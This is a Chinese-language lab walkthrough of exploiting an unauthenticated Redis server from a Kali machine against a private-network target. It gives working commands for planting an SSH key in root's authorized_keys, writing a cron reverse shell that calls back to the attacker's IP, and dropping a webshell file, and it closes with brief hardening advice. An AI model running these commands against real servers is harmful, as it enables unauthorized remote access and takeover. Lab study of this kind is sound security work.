Redis是一个开源的高性能的key-value数据库 默认端口6379
Redis因配置不当可以未授权访问,攻击者无需认证访问到内部数据,可导致敏感信息泄露
漏洞利用:核心就是进行写文件操作
可以获取敏感信息,操作数据库,SSH远程登录,写入webshell
环境搭建:
kali 2019(攻击机)ip: 192.168.25.137
Ubuntu 16.04 (靶机,强烈建议使用CentOS)ip :192.168.25.134
互ping测试是否可以连接
Ubuntu 16.04安装redis
sudo apt-get update
sudo apt-get install redis-server
查看redis是否启动,启动redis客户端,此时是未启动,
redis-cli
启动 redis
redis-server
终止服务命令:Ctrl+D
正常关闭本地redis : redis-cli shutdown
查看端口信息
sudo lsof -i:端口号 或者
ps aux | grep redis
服务如果后台运行,强制终止服务 kill -9 命令无法杀掉 redis 进程 ,杀掉就自动重启 使用下面的命令
/etc/init.d/redis-server stop
修改配置文件redis.conf
vim /etc/redis/redis.conf
正常配置时,需要将daemoize 设置为yes(守护进程),我这里方便就不需要设置
区别
yes:当redis.conf中选项daemonize设置成yes时,代表开启守护进程模式。在该模式下,redis会在后台运行,并将进程pid号写入至redis.conf选项pidfile设置的文件中,此时redis将一直运行,除非手动kill该进程。
no:当前界面将进入redis的命令行界面,exit强制退出或者关闭连接工具(putty,xshell等)都会导致redis进程退出。
该版本redis默认设置无法远程登录,需要将注释掉127.0.0.1
版本较高的redis 还需要将 protected-mode设为no,我这里就没有这个,更低的版本也没有127.0.0.1限制
此时我们的靶机环境已经搭建完毕,测试(默认无密码)
kali安装redis
下载
wget http://download.redis.io/releases/redis-4.0.11.tar.gz
解压
tar -zxvf redis-4.0.11.tar.gz
会在当前目录下生成文件夹 redis-4.0.11
cd redis-4.0.11
make
安装完成,进入下级目录src,启动redis客户端 远程连接靶机(默认无密码)
cd /src
./redis-cli -h 192.168.25.134
!!!此时已经未授权访问到靶机的redis 通过 info 查看信息
利用redis特性,可以写入文件到服务器(具体细节有待补充)
1.写ssh-keygen公钥然后使用私钥登陆
利用前提:Redis服务在靶机以root身份运行
在kali上生成一对秘钥(.ssh下)
ssh-keygen -t rsa
redis写入公钥,(dbfilename名不可以修改,只能为 authorized_keys)
config set dir /root/.ssh/
config set dbfilename authorized_keys
set x "\n\n\ ssh-rsa AAAAB.......3NzaC1ajVNsN48P root@kali\n\n\"
save
我们可以在靶机验证一下是否被写入,可以看到成功被写入
使用kali ssh远程连接:此时不需要输入密码
ssh -i id_rsa [email protected]
成功连接~
2.利用计划任务执行命令反弹shell(Ubuntu不可以~)
使用nc监听 7999端口
nc -lvnp 7999
写入:
set x "\n* * * * * bash -i >& /dev/tcp/192.168.25.137/7999 0>&1\n"
config set dir /var/spool/cron/
config set dbfilename root
save
在靶机上验证一下,发现成功写入,但是nc就是监听不到(所以Ubuntu貌似不行,建议使用CentOS)
3.往web物理路径写webshell
利用条件:redis权限不高,服务器开着web服务,在redis有web目录写权限时,可以尝试往web路径(根据实际情况)写webshell
config set dir /var/www/html/
config set dbfilename shell.php
set x ""
save
漏洞修复:
一切的源头都是未授权方访问,如果要允许远程连接一定要,开启protected-mode(保护模式)设置ip白名单,设置密码
更新高版本的redis服务,服务器使用低权限用户运行redis服务~